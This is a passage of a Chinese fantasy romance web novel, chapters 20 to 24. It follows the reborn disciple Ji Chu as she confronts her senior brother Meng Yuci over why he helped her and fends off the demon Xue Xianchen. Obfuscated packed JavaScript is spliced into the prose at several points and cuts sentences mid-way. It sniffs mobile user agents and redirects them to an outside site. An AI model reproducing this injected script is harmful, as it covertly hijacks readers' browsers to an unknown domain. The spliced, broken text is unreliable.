纪楚显然对自己后颈处有朵花的事情毫不知情,趴在他胸口静静等了许久,也没等来什么动静,却也因为他那句话,不敢随便乱动,只能贴着他的衣服小声询问他: “师兄,怎么了?” 孟喻辞心绪几变,再开口时已恢复了淡然模样: “无事。” 他松开按着她后颈的手。 纪楚从他怀中站直,乌发失去阻拦自然垂下,刚好将露出来的空羽浮花完全挡实。 她朝后看,发现她和师兄已经站在了自己的院子里。 “焚巫祭神图”的石砖还在原地,中间却出现了一条裂痕,刚好将画中人全都截成了两半。 画中人的怨气被师兄一剑除了个干净,这死局也就不攻自破了。 原来完成这个任务这么简单,只是入画的弟子总想分辨个正邪出来,投鼠忌器,这才摸不到法门。 纪楚抱着石砖很是感慨了一番,这才转向师兄: “师兄……” 刚开了个头,孟喻辞便知道她想说什么,直接说道: “一千分都是你的。” “真的吗?!谢谢师兄!师兄你真好!” 纪楚欢呼了一声,抱着砖就要去找明务堂,却又忽然被叫住。 “等等。” 她警惕地停下,回头,却把石砖抱得死紧。 孟喻辞看见她这副“护食”的样子,很是无语,神色松了下来,只说了句: “换身衣服。” 纪楚反手摸了摸自己领子,摸到了那道缺口,老实“哦”了一声。 孟喻辞这才颔首放人: “去吧。” * 亲眼看着明务堂弟子给她勾了一千分,并在“问仙大会”那一页添上了她的名字,纪楚终于长舒一口气。 终于不用再去天天喂兔子干杂活了! 上辈子这会儿,她经脉的问题刚刚爆出,走在路上都会听见人议论讥讽她,简直把她形容的比外门弟子都可怜。 她听了以后心里难受,专门绕去外门转了一圈,想看看自己是不是真的连一个外门弟子都不如。 记得当时还碰巧撞上一群人恃强凌弱,于是顺手阻止了一出暴力事件。 而此时的她前途光明,不但经脉完好,还凑够了一千分,可以参加问仙大会了。 简直一个天上一个地下! 重生真好! 纪楚心情大好,又刻意到外门转了一圈。 只是这辈子的她势头正高,所有人见着她都恭敬称“师姐”,根本没人敢在她面前闹事。 她看了一圈,始终想不起来前世到底什么时候、在哪救的人,以及救的谁。 隐约记得是个总垂着头佝偻着背、打扮灰扑扑的男弟子。 她本想找人打听一番,却忽然有个人冒了出来,挡在她面前。 薛羡尘挡住她的视线,笑着对她打招呼: “纪楚师妹。” 几个字被他说的又缓又轻,无端带了股亲昵。 纪楚被这一打岔,瞬间忘了自己想做什么,蹙眉后退一步,警惕地看着他。 21. 第 21 章 薛羡尘自然看出了她眼里的怀疑,鸦羽般的长睫一搭,显出几分脆弱: “几日不见,你怎的和我如此生疏了?” 若是不知情的人见了,定要为这俊俏多情的小公子的这番神态狠狠心碎。 可惜纪楚深知面前这魔头的真实嘴脸,甚至刚才在生死台上打的“你死我活”,此刻一点也没兴趣陪他演“深情戏码”。 难道这魔头当真如此心大,一点也不怕她把他的身份捅出去? 还是他真就这么有恃无恐,笃定了她拿他没有办法? 纪楚在心里推测。 见薛羡尘仍一副恶心巴拉黏糊糊的表情,她本想骂上一句“我什么时候和你熟过”,但薛羡尘又很快道: “想是上次生死台一事,让你对我有了成见。害沈长老责骂你非我本意,阿楚,你原谅我好不好?” 阿楚?! 纪楚一口老血快要喷出来。 这薛羡尘是脑子坏了吗?搁这儿跟谁攀亲戚呢?! 上次见面还一副恶毒的架势,今天又换了张友好的脸。 她觉得这魔头八成是想到了新的恶心她的法子,哪还有心思搭理他,转头就要离开。 薛羡尘上前一步,挡住她的路: “阿楚你不信吗?” 他欲拉她手: “若你不信,我现在便将一身灵力都给你……” 纪楚避开他动作,他又欲追,于是纪楚反手给了他一巴掌。 “啪”得一声,打得他脸都扭到一边。 薛羡尘侧着脸,安静了几息,缓缓抬手,抚上自己的脸。 纪楚用力很大,少年白皙的面上已经渐渐浮起一片红痕,反显得容色更艳,俊俏中添了几分脆弱可怜。 她动手时没多想,打完又觉得薛羡尘或许会忍无可忍直接掐死她。 但打都打了,想什么都没用。 要是他忍不住怒气暴漏了身份,宗门其他人也正好把这个藏匿已久的魔头除了。 故而纪楚一言不发地瞪着薛羡尘,等这个魔头忍无可忍,动手攻击她。 然而等了片刻,没等来魔王的暴怒,却见薛羡尘轻笑一声,长指轻擦过被她打中的皮肤,转回头望着她,眼底笑意更深,柔声道: “打得好,我是该还阿楚一巴掌。” 纪楚:“?” 薛羡尘应当是疯了,她想。 和疯子呆在一块实在危险。 她暗中后退半步,转身欲逃跑。 “孟喻辞。” 薛羡尘在她身后忽然开口。 纪楚步子顿住。 她猝然转身,对上薛羡尘冷淡下来的表情: “你果然在乎他。” “你想干什么?” 纪楚面色不善,在心里骂自己没长记性,连着两世都被这魔头用师兄威胁。 薛羡尘没有回答她的问题,而是问道: “你为了他,连沈长老都敢反抗,为什么?一个素未谋面的师兄……你喜欢他?” 还以为他能说出些“重生”之类的大秘密,结果还是那些无畏的男女关系揣测。 “关你屁事。” 纪楚冷冷道,脸上并没有被戳中心事的恼怒。 这一世,她和师兄简直清白的不能再清白。 薛羡尘看她几眼,见她神色中的坦然不似伪装,笑里带了几分真心: “阿楚不喜欢他就好。” 纪楚翻了个白眼。 见她耐心耗尽,薛羡尘便道明了来意: “你去悬鹤峰那次,确实是我告的密……但我是为了保护你。” 纪楚简直想笑。 她一直知道这魔头颠倒黑白挑拨离间的本事,却没想到他都被她拆穿了,竟还能有如此厚的脸皮。 薛羡尘苦笑: “我知你不信我,过去是我混账,总想欺负你,引你恼我。” 纪楚:“呵。” 薛羡尘被她“呵”了一声,也知道自己这戏着实有些过了,好在他脸皮素来厚,转而说起旁的: “悬鹤峰上有封印,那晚,被你用桐君琴砸开了。” 纪楚一言不发,召出长剑。 薛羡尘知晓自己如果再说不到重点,她便不会再听他说下去了。 于是他抛出一个惊天消息: “结界后面被困住的人,就是你的师兄,孟喻辞。” 纪楚御剑的动作停住,抬眸看向薛羡尘。 * 孟喻辞立于无数片散落的镜面中间。 他本想用这“观世镜”查看自己的记忆,寻找纪楚身上“空羽浮花”的来源。 尽管他心里清楚,自己的空羽浮花尚在灵魂中养着,从未示人,也从未打算送人。 纪楚身上这花,不该是他的。 但却偏偏又是他的。 没有巫觋族人会拥有两朵花,一朵赠了人,自己却毫不知情。 更没有巫觋族人会认错自己的花。 …… 只是他的记忆实在不算什么温和的东西。 甫一打开,杀戮与血腥冲出,观世镜瞬间被震碎成了无数片。 他的目光从一片片泛着血腥气的记忆中掠过。 冷而漠然的少年手持长剑,手起剑落,身后是满地尸骨。 血太多太红,将这冷玉似的少年都染成了血人,分不清是他的还是别人的。 独他手中剑洁不染尘,血珠顺着剑刃滑落,坠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他前世究竟是以一种什么样的态度接近她,又是以一种什么样的目光看着她自卑难过,看着她一点点陷入其中,甚至为了那点她到死都不知道的“恩情”,施舍般替她解毒同她双修! 她在师兄眼里,到底算什么?! 无人知晓处,他是在可怜她无知所以不幸,还是在嘲笑她无知因而愚蠢! 她简直是天底下最大的傻子! “师兄!” 纪楚看向满室碎片中央那个长身玉立、清冷圣洁如天上明月的人,看着他俊美如天地造物精心雕琢的容颜,一字一句问道: “我砸悬鹤峰结界那天,你是不是在场?” 22. 第 22 章 房门被人踹开的同时,记忆碎片被这阵风带动,凌乱地朝两旁漂浮散开。 满室寂静被打破,温暖气息随着那个跃进来的身影一同撞了进来,寒霜冰雪瞬间消弭无踪。 孟喻辞于无尽的空茫中缓缓抬眸,看向来人。 天青的宗门弟子服,裙摆随着她不算优雅的动作,如水波纹般层叠散开。 乌发盘成双髻,阳光在其上流转。 五官精巧,皮肤白皙,脸颊一点婴儿肥,可爱可亲。不施粉黛,容色却比二月枝头上的花苞还要娇艳动人。 满目猩红中央,乍然冒出这样一张灵动漂亮的容颜,像是在冰原孤崖上骤然长出的一株明艳灿烂的花,将这场没有尽头的绝望和杀戮悉数冲散。 只是这“花”显然很不高兴,似乎是来讨债的。 俏丽的脸颊气得通红,一双漂亮的眼睛瞪得溜圆,又黑又亮的瞳仁闪着光,愤愤定在他脸上。 “师兄!” “我砸悬鹤峰结界那天,你是不是在场?” 孟喻辞目光微颤,视线从纪楚过分明亮锐利的双眸移向她耳边凌乱坠落的发丝,低声回道: “是。” 他这回避视线的动作宛如心虚,纪楚怒意更甚: “那你假扮神秘前辈助我修复经脉,还有这些日子的帮助和关心,也是为了偿还我替你破开结界的恩情?” 孟喻辞有些意外她知道了真相,但她所说亦是他的初衷,并没有什么好遮掩的,因而坦然回道: “是。” 连续两个“是”字,听得纪楚捏紧了拳头。 她心里浮现出一股巨大的荒谬感,联想起前世师兄提及她经脉受损时的神情,只觉自己仿佛掉进了一片无边无际的深海。 她在其中茫然伸手,意外抓住了一根浮木,于是暗自欣喜,以为自己捡到了绝望之下的生机。 原来,竟是给她这种可怜虫的临终抚慰! 情绪上头,纪楚再也忍不住,双手因太过用力而颤抖,扬声质问他: “你凭什么自做主张?你凭什么这么对我?!我砸结界被反噬,那也是我活该!我本也不是为了救你,用不着你勉为其难地对我好!” 孟喻辞有些怔愣。 这是头一次,有人敢冲她大喊大叫,厉声质问。 她分明是在骂他。 他却并未感到不快,只是一时间被她骂得有些懵了,不明白她为何忽然如此作想,更不知道她怎么会忽然这么生气。 他缓缓眨了下眼睛,纤长浓密的睫毛一压一掀,带着点细微的茫然和无措,一双黑沉的眸子静静望着纪楚的脸,似在端详。 于是两人间只剩下纪楚情绪激动时的呼吸声。 她望着师兄沉默的目光,永远平静的神色,心里那份愤怒逐渐成了难以言说的疲惫。 纪楚移开视线,呼吸平缓下来,感觉整个人都变得麻木僵硬,连胳膊都不知道摆在哪里该怎么摆,几乎是撑着最后一口气问道: “那如果,如果师兄你出关的时候,发现我的经脉受损已无药可救,此生修行再难有进益,你会怎么对我?” 她的问题让孟喻辞神色一顿。 只是设想这种情况,便让他觉得心口像是压了巨石一样沉闷,再加上纪楚问出这句话时不自觉颤抖的声音,孟喻辞莫名生出一股巨大的恐慌和心痛来。 这情绪来的太过突然,仿佛是来自灵魂深处的惯性,让他一时间不敢直视纪楚脆弱的表情。 为什么?分明他及时出关,及时帮她修好了经脉,分明一切都如此顺利,他却总会生出一股“来不及了”的后怕和悔恨呢? 孟喻辞沉默片刻,用长久维持的平静竭力压下心底那份痛意,同时努力令自己的声音显得不是那么滞涩沉重,开口说出他的承诺: “如果来不及,我定以师兄身份,护你一世周全。” “……” 纪楚握紧的拳头一下子松开。 果然如此。 她在心里叹道。 前世师兄数次救她,屡屡维护,果然是为了弥补这份“来不及”。 而她傻得可怜,还以为自己撞了大运,虽然修行无果,却得了一个对她如此关切的师兄。 原来都是有代价的。 纪楚咬了咬嘴唇,克制着想哭的冲动,抬头看向师兄。 可是师兄,你非但没有护我一世周全,你还怀疑我入魔,一剑捅死了我。 她在心里说出这句话时,感觉自己的委屈快要将她活活淹死。 孟喻辞立于她面前,亲眼看到她的眼眶一点点变红,那双又黑又亮的眼睛逐渐雾气迷蒙。 下一瞬,泪水便如同花瓣上的露珠,骤然在她柔嫩的脸颊滑出一道湿痕。 “啪嗒”一声,砸在她身前的地上。 也像是砸在他心头,砸得他整个胸腔都为之一颤。 他茫然,不解,不知道自己的内心为什么会因为纪楚这滴泪水而生出波动。 而后听见纪楚用努力克制着哭腔的声音对他说: “师兄,我讨厌你。” * 纪楚照常回去练剑修行上课。 冲师兄发了一通火后,她心里虽然有几分担心“秋后算账”的忐忑,但更多的,还是一种对自己“傻的可笑”的厌恶。 师兄是高高在上的宗门首徒,掌门真人亲传弟子,整个修真界无人不晓的剑君。 她是什么? 她是个“靠脸走后门才得以修行”的“替身”。 师兄对她好,除了报答“破开结界”之恩,还能有什么呢? 真是好笑,这么显而易见的答案,她竟然活了一辈子都没能察觉。 真不知道是师兄瞒得好,还是她这样的傻子太好骗。 既然这次她的经脉已经修复好了,那她和师兄之间再无瓜葛,就该一拍两散形同陌路,她再也不会靠近师兄了! 纪楚愤愤想着,手中剑挥得冒出了火花。 来上剑法课的弟子都自觉离她远远的,薛羡尘却像是不长眼似的主动往她跟前凑: “阿楚师妹?” 纪楚挥出一剑: “滚。” 薛羡尘抬手用剑抵住她剑身,眼尾上挑斜睨她一眼,笑道: “阿楚怎的还对我如此暴躁?你去问孟喻辞了吗?” 纪楚瞪她一眼,用力打开他的剑,背过身去。 薛羡尘顺势收了剑,绕至她身旁: “看来是问过了。怎么样?我这次可没骗你,是他一直在算计你——” 纪楚转身出剑,剑尖带着冷光,正对着薛羡尘的眼睛,逼退了他走近自己的动作。 她一言不发,自剑后冷冷看着他,眼底威胁意味十足。 薛羡尘步子顿住,脸上丝毫不见惊慌,眼底的笑像是在温水中浸过一样,带着三分春意,声音柔柔: “好好,我不说就是了。” 纪楚丝毫不搭理他的调笑,长剑仍对着他,眼底杀意凛然,不似作伪。 薛羡尘脸上轻松的表情逐渐凝重起来。 他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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修行是个长期坚持的事情,而剑道修行总归离不开一个“苦”字,纪楚分明有天分,却总是被杂事烦扰,心思不在正事上,这让徐长老这种惜才之人简直难受得要死。 他一难受,就想找孟喻辞说道说道。 找孟喻辞告状这事几乎已经成了徐长老每节课后的日常,他熟门熟路地拦下人,张口便是些老生常谈的话术: “纪楚聪明但是不努力……” “你是师兄……” “你不急我都急啊……” 孟喻辞素来不是个好人缘的人,宗门里鲜少有人愿意同他闲聊,更遑论整日找他说些没营养的车轱辘话。 但徐长老回回下课都来,一个年纪不小的长辈,说的又全是纪楚的事,他不好阻拦,只能耐着性子听完。 总归是带孩子注定要面对的事,他答应掌门多多操心师妹的时候,早有了这般心理准备。 徐长老说的口干舌燥,见孟喻辞仍一脸漠然神色,顿时觉得自己成了“皇帝不急太监急”里头那个“太监”。 他于是自觉没趣,心道“自己孩子不操心,我一个外人急个屁”,转头抛下一句: “你懒得管就算了,今日纪楚险些被打,下次受伤了可别来找我!” “等等。” 一直“装聋作哑”的“失职家长”孟喻辞终于有了反应: “谁打她?” 23. 第 23 章 下一次剑法课的时候,薛羡尘又凑到了纪楚跟前。 她正在回忆徐长老讲述的新剑法,第二招“刺”与第三招“转”总是连不起来,比划了半天仍然十分滞涩。 薛羡尘没穿素色弟子服,却换了身水红色衣衫,衬得仪表堂堂面如冠玉,活脱脱一个俊俏小公子,对纪楚道: “阿楚师妹,你这第二招使得实在别扭,可要我帮帮你?” 纪楚本想当他不存在,但他这身衣服实在太亮,宛如深夜中一个明晃晃大火炉杵在她边上,想看不见都难。 她沉着脸:“滚。” 薛羡尘反而勾起唇角,抬手按住她准备转剑的手腕: “上举一点,手太低了。” 冰凉的触感带着不适的阴冷,甚至还有刻意的熏香气味随着他的动作飘近。 纪楚被他猝不及防这么一碰吓了一跳,顿时收剑连退两步,又用袖子使劲擦了擦手腕上被他按过的地方,活像是碰到了什么脏东西。 她这副嫌弃的态度很是不加掩饰。 薛羡尘下意识皱眉,却又很快恢复原状,眼皮一耷,转而作出一副“心碎可怜”模样: “阿楚为何如此嫌弃我?我是真心想帮你的。” 纪楚本想再送他一个“滚”字,但话到嘴边,她的目光在薛羡尘梳得齐整的发髻和一看就价值不菲的衣料上滑过,又改了主意: “你真想帮我?” 薛羡尘上前一步,笑意盈盈: “自然,我想帮阿楚之心,日月可鉴。” “站那别动。” 纪楚抬手竖在身前,阻止他靠近自己的动作,随后将剑收回剑鞘,眼里泛着冷意,又强调了一遍: “千万,别动。” * 孟喻辞说要来“旁听”纪楚上课的时候,徐长老在心里冷笑一声,直道“果然如此,一问孩子学习就漠不关心,一说孩子吃亏就着急忙慌”。 现在知道着急了? 他着急了这些日子,有谁懂他的不易? 这孟喻辞,在外是高不可攀的剑君,其实就是个不负责任的“长辈”! 孩子让他“扶养”真是白瞎了! 徐长老已经全然忘记了孟喻辞只是纪楚名义上的师兄,只当他是一个忽略孩子教育的“失职长辈”,“哼”了一声,引着孟喻辞到一群练剑的小弟子周围。 他一展广袖,负手摆出“教习长老”的架子: “先说好,让你来旁听都是破例的,有什么事情全都下课再说,不许打扰其他弟子上课!” 孟喻辞看向纪楚的方向。 他听说“纪楚被打”的时候,虽然觉得八成是徐长老夸大其词,但还是担心她吃亏。 毕竟她那日冲他发了通火,看着确实心情不好的模样,若是言语急切惹了是非,也不是没可能。 谁料今日这么一来,他果然看见纪楚在打架。 只不过,并非是“纪楚被打”,而是她在打别人。 薛羡尘一身红衣确实耀眼夺目,离很远也能一眼看见,那个面若好女的薛家小公子此刻哪里还有半点往日的优雅贵气,发髻凌乱,衣衫豁口,正被纪楚用剑压着狂揍。 纪楚假借练剑之名,实则根本没用什么剑法,纯纯靠着蛮力,每一次出手都实实在在落在薛羡尘身上。 打完还要假惺惺说一句: “啊,对不起,这一招我还是用不好,再试一次吧!” 薛羡尘因承诺了要帮纪楚练剑,早早便收了武器,此刻赤手空拳,又碍于面子不能反击,简直有口难言,还得假装无事发生,忍着痛道: “不妨事,你尽管来就是,我说好了要帮你,就一定帮、到、底。” 最后几个字像是从牙缝中挤出来的。 纪楚甜甜一笑: “多谢薛公子,那我再试一次。” 说完收起笑,下一招又打得更狠,纵使隔着剑鞘,依然在薛羡尘手臂上打出一道见血的棱子。 早过了下课时间,纪楚和薛羡尘两个却全然没有停下来的意思。 看在外人眼里,关系十分亲近。 “纪楚。” 一道低沉清冷的声音自背后传来,打断了纪楚挥剑的动作。 她诧异回头,这才看见站在徐长老身边的师兄。 孟喻辞目光沉静,显然已经将她“假借练剑之名打人”的全过程看了个清清楚楚。 干坏事被师兄撞上,纪楚第一反应就是心虚,下意识将手里的剑背到身后。 但下一刻,她又觉得自己没必要如此。 重生回来,她不但踹过师兄的门,还痛骂过师兄一顿,若师兄真要用宗门律法罚她,打一个薛羡尘又算的了什么? 于是她又把回剑放到了身侧,一脸“我在练剑”的坦荡姿态。 孟喻辞看着她把剑拿来拿去的动作,没有说话。 徐长老沉着脸问道: “你们这是在做什么?” 纪楚正想说话,薛羡尘上前一步,抢在她前面道: “回禀长老,我和阿楚在练剑。” 纪楚闻言面露诧异,下意识看向薛羡尘。 对方被她用剑鞘打得十分狼狈,露在外面的皮肤上带着斑驳的血印子,红衣衬托下,白皙的脖颈上交错的鲜红剑痕触目惊心。 徐长老疑惑:“练剑怎练出这一身的伤?” 薛羡尘抬手摸了下脖颈,指腹擦出一片血红,不以为然道: “是我不小心,没能躲开,不干阿楚的事。” 说完,他像是浑然不觉痛似的,甚至还回以纪楚亲昵一笑: “不是吗?阿楚?” 纪楚一愣,也顾不上称呼的事,点头道: “啊……是。” 薛羡尘于是唇边笑意更深。 一对儿年轻漂亮的少年少女“眉来眼去”,方才还打得不可开交,当着他的面却一口咬死“正常练剑”。 徐长老明知事有蹊跷,却也不好没事找事,只得说了句: “下次小心。” 自叫出纪楚名字后便一直未表态的孟喻辞此刻才开口,缓缓念出两个字: “阿楚?” 纪楚没想到师兄不说她打人的事,却单揪住这个称呼询问,几乎是下意识开口解释: “没别的意思,他叫着玩的。” 薛羡尘一句“我们关系好”便被她堵了回去,嗔怪地看了纪楚一眼,重复她的话: “阿楚说的没错,我只是……叫着玩。” 纪楚原本急匆匆解释就已经显得有些奇怪了,薛羡尘偏又用暧昧不明的语气重复了一遍,语调轻而上扬,还带着点笑,平白给“阿楚”这个称呼增加了几分不同寻常的意味。 纪楚被他古怪的语气说的直皱眉头: “你能不能正常说话?什么语气啊,恶心死了。” 薛羡尘被她拆台,脸色有些僵硬。 听见纪楚的话,孟喻辞原本还有些冷淡的表情反倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她一门心思沉浸在论证“两人关系一般”上,猝不及防见他停下,险些收不住步子撞上去。 只得情急之下被迫来了个大拐弯,一步越过师兄,擦着他的手臂迈到了他身侧。 又因为不想碰到师兄,整个人在擦肩而过的同时匆忙朝左躲避,右腿却还是不可避免的蹭到了师兄,于是她又着急忙慌地收腿压膝盖…… 这一连套动作下来,纪楚果不其然失去了平衡,左摇右晃狼狈不堪。 摔倒的前一刻,她在摔在师兄身上和摔在地上选择了后者,以一副“没办法了就这样吧”的心态,朝着师兄身侧的地面扑去。 一只手及时出现,几乎是毫不犹豫地捏住她后颈和衣领,随后像提一只小猫小狗小兔子那样,将四肢缠成一团的纪楚提了起来。 双脚离地,纪楚的脑子短暂停工。 孟喻辞单手将险些摔倒的纪楚提离了地面,微微抖了抖,将她打结的四肢抖落开,又放了下去。 纪楚:“……” 让我死,就现在! 孟喻辞真心不理解: “走个路也能摔?” 想要训斥她的心便也顿时散了。 见纪楚的头都快要埋到地上去,意识到她是觉得丢人了,孟喻辞不免又觉得好笑: “方才不是还说同我没什么交情。既是陌路人,又何必害怕在我面前丢人呢?” 纪楚垂着头,摇头,一副抵死不从模样。 方才说的义正辞严侃侃而谈,简直是一场酣畅淋漓、堪称完美的“谈判论辩”。 可惜现在这么一摔,又被师兄十分不优雅地悬空提起来,自己成熟理智深思熟虑的形象全无。 她已经没脸再认刚刚那番话了,只想赶紧从这个世界上、尤其是师兄面前——消失! 24. 第 24 章 消失是不可能消失的。 纪楚既不会隐身术,也不会遁地术,只能老老实实站在师兄面前,被迫面对这个让她丢了大脸的世界,和师兄。 反正想说的话该说的话都说完了,她也没什么好顾虑的了。 纪楚对自己点点头,勇敢把头抬起来,一脸严肃地看向师兄,努力维持着“我不觉得丢人就不丢人”的坦然表情: “谢谢师兄救我。” 她这副故作坚强的样子也实在有点好笑。 孟喻辞忍俊不禁,本该“体贴”地将此事翻过不提,偏又不知怎的,张口却是一句挤兑: “不必言谢,陌路人摔倒也得救一救的。” 纪楚:“……” 她努力维持的坚强人设轰然崩塌。 她错了,她真的错了,她从一开始就不该跟过来,跟过来也不该耐不住性子先把真心话都说出来,更不该走路不认真说着说着摔一跤,把自己的脸和尊严一起摔到地上,还是师兄面前的地上。 更可恶的是……师兄是在嘲笑她吗? 他怎么能嘲笑她? 他凭什么嘲笑她? 他上辈子都不会这么嘲笑她! 纪楚用一脸信任被辜负的表情瞪着师兄,越想越气,越气越恼,最后整张脸都鼓了起来,仿佛轻轻一戳就会漏气飞走的球,连眼眶都恼红了。 孟喻辞亲眼看着她的脸一点点鼓起来,嘴撅的老高,竟能被他一句调侃气成如此模样,心里委实有几分惊叹。 既惊叹于纪楚的模样,也惊叹于自己好端端的,却起了如此恶劣的心思,把孩子气成这样。 孟喻辞惊叹之余又仔细想了想,自己之所以会说出这句话,或许因为是生气她那一番无端的指责和揣测,以及一言不合就要和他“断绝关系”的态度。 又或者,是因为那句没缘由的“我讨厌你”。 当时没有发作,实则他心里还是在意的。 如今只言语挤兑她一番,已算是极为宽纵的“报复”了。 不过挤兑归挤兑,他也并没有将人气哭的乐趣。 于是他伸出手,轻轻摸了下纪楚的头发: “别气了。” 他这一哄,反而像是打破了平衡。 纪楚抽泣一声:“我和师兄不熟!师兄不要随便碰我!” 说着她又委屈起来: “我才不要师兄勉强被迫关心我,不就是结界反噬,我不在乎了,师兄也别当回事,不要再来找我了……” 落在头上的手没有一触即分,反而停在她发间,以一种恰到好处的既不让人感到压迫、又能让人感到这份关切与安抚的重量: “我没有勉强。” 孟喻辞微微俯下身,清冷双目看向她红红的眼睛,神情认真而郑重: “虽说我关心你,一开始确实有结界反噬的原因,但更多的,还是因为你是我师妹,因为你是纪楚。” 面对师兄忽然靠近的俊美容颜,纪楚一时间忘记了眨眼睛,只呆呆地望着师兄形状优美气度清寒的眼睛,黑沉冷寂的瞳孔里面倒映出她脸颊气鼓鼓还挂着眼泪的傻样。 师兄的声音也温柔得不像话: “你是个很好的孩子,很有天分的剑修,我欣赏你,珍视你,这并非是可怜你,更不是被迫关心你、施舍你。所有举动,皆出自真心。” 连着两世,这还是第一次听见师兄用这样平等的、郑重其事的态度讲述对她的看法。 纪楚愣了愣,抬手擦眼睛: “我不信。” 孟喻辞:“……” 小孩子真是太难哄了。 纪楚显然对他有成见,多说无益。 他直起身,按了下纪楚肩膀: “跟我走。” 纪楚随着他的动作抬头,仰着脸看他,颇有些傻气,仍没忘记跟他强调: “去哪儿?我现在还没有跟师兄你很熟。” 孟喻辞懒得再同她掰扯“熟不熟”的话题,只道: “师尊要见你。” 纪楚一下子回过神来,顿觉自己小人之心,赌气的不是时候。 怎么能怀疑师兄是“她不相信所以不让她走”呢? 师尊身为拂宇仙宗掌门,平时定然十分忙碌,如今点名要见她,肯定是有什么重要的事情,她实在不该在这时候跟师兄赌气,耽误师尊的时间。 于是她立马道:“既然是师尊要见我,那我们快过去吧。” 她这脸变的太快,前后态度天差地别,孟喻辞看她一眼,眼神算不上友好。 纪楚不解:“师兄?” 孟喻辞收回视线,召出少微剑。 然而纪楚却又犹豫了。 虽说面见师尊很重要,但她并不想让师兄御剑带她。 一方面是因为她和师兄还“不熟”,不愿意共乘一剑; 另一方面,是因为她看见少微剑就心口疼,最好是能不碰就不碰。 她在少微剑前磨磨蹭蹭半天不肯上去,孟喻辞也看出了她的意思: “不想让我带?” 纪楚:“……其实我御剑飞行练得也还可以,速度绝对不慢……再者说少微剑是师兄的本命剑,斩妖除魔战功赫赫,我何德何能,能踩在少微这样的名剑上头上……” 看她胡说八道地扯借口,孟喻辞简直要替她觉得心累,于是直接替她把目的说出来: “那你自己飞。” 纪楚如愿以偿,急忙召出自己的剑。 她的剑只是普通的内门弟子佩剑,在少微剑面前根本都不够看的。 但此刻纪楚踩在自己的剑上,却感到无比的安心和舒坦。 如果……师兄没有御剑跟在她身侧就更好了。 纪楚暗中叹气。 其实她没有说谎,御剑水平确实有了进步,飞的不算慢,但也实在算不上快,甚至可以说是“乱七八糟”。 速度不匀,路线不直,高度上下起伏如过高山洼地。 如果说孟喻辞在旁边飞的是平坦大道,那纪楚简直是飞的山野荒地,还是铺满不平整的大石块的那种,时不时就得磕绊一下,然后重新稳定身形调整角度。 孟喻辞全程一直关注着纪楚御剑的情况,看着看着,他的目光从平静变成费解又变成严肃和冷酷,最后又再度恢复了平静。 一开始他还想出声说点什么,可越看越觉得处处都是“骂点”,到后来索性放弃,只冷眼看着纪楚,看看这短短一截路,她到底能飞成什么样子。 两道来自师兄的堪称“可怖”的目光一直盯在纪楚脑门上,她就算是傻子也知道自己飞的稀烂,污了师兄的眼。 虽然这一世的师兄有了很多不同,但威严仍在,甚至比宗门长老还让人害怕,一个冷冰冰的眼神就足以让纪楚心惊胆战半天。 但越紧张越容易飞歪,更何况还有个优秀卓绝且御下严厉的剑君在旁边一直一言不发地看着,纪楚简直紧张的想哭。 她实在坚持不住了,吸了口气,转头对师兄说: “我刚刚又想了想,我确实没有师兄御剑速度快。拜见师尊要紧,要不还是师兄带我飞吧?” “不急。” 孟喻辞神色淡漠,清冷的双眼望着她,里头带着点难以言说的微妙寒意,说出的话却很是平和,仿佛一点也不生气,甚至还鼓励她: “你飞得挺快,继续飞吧。” 纪楚:“……” 这分明就是生了大气啊! * 诲元仙尊确实很忙。 作为宗门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105436|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌门,他每天睁开眼就得处理宗门事务,闭上眼还得继续耳听八方,入定都不得安生。 他这些年不收徒弟,实在是因为忙不过来。独一个纪楚,也没怎么操心过。 虽说几个长老帮他分担了不少,但那也只是冰山一角,背后还有一整个“大冰洋”等着他来处理。 更有甚者,除去宗门上下时刻闹腾不休的那些琐事,还有“神骨”悬于头上,仿佛是浩劫来临前的影子,让人捉摸不清,却也不敢轻视。 他真的很累,累到连修行的时间都快没有了。 幸好还有一个好徒弟。 想到孟喻辞,诲元仙尊心里便宽慰不少。 这个徒弟虽说性情冷淡了些,杀气太重了些,但修炼之事从未让他操心,关键他还行事稳重,办事靠谱,威严十足。 自出关后,凡事不必他这个做师尊的亲力亲为,只消派孟喻辞出面,便可压住一切躁动。 上到探查神骨秘事,下到教导师弟师妹,全包全揽,无不井然有序。 诲元仙尊满意地点点头,回头就看到那个让自己十分放心的徒弟沉着脸出现在大殿内,周身带着寒意,神情凝重。 诲元仙尊顿时警觉。 能让孟喻辞露出这般严肃神情,莫不是神骨又出了什么问题? 下一刻,孟喻辞侧身让出位置,露出身后那个矮小的身影。 诲元仙尊茫然了一瞬,很快想起来这就是他那个挂名徒弟,纪楚。 不怪他没反应过来,上次在水镜中见到的纪楚尽管受了伤,人还是神采奕奕活力十足的; 此刻跟在孟喻辞身后的小姑娘却像是霜打的茄子,整个人都蔫了下去,可怜巴巴地垂着头,一脸犯错被抓的老实模样。 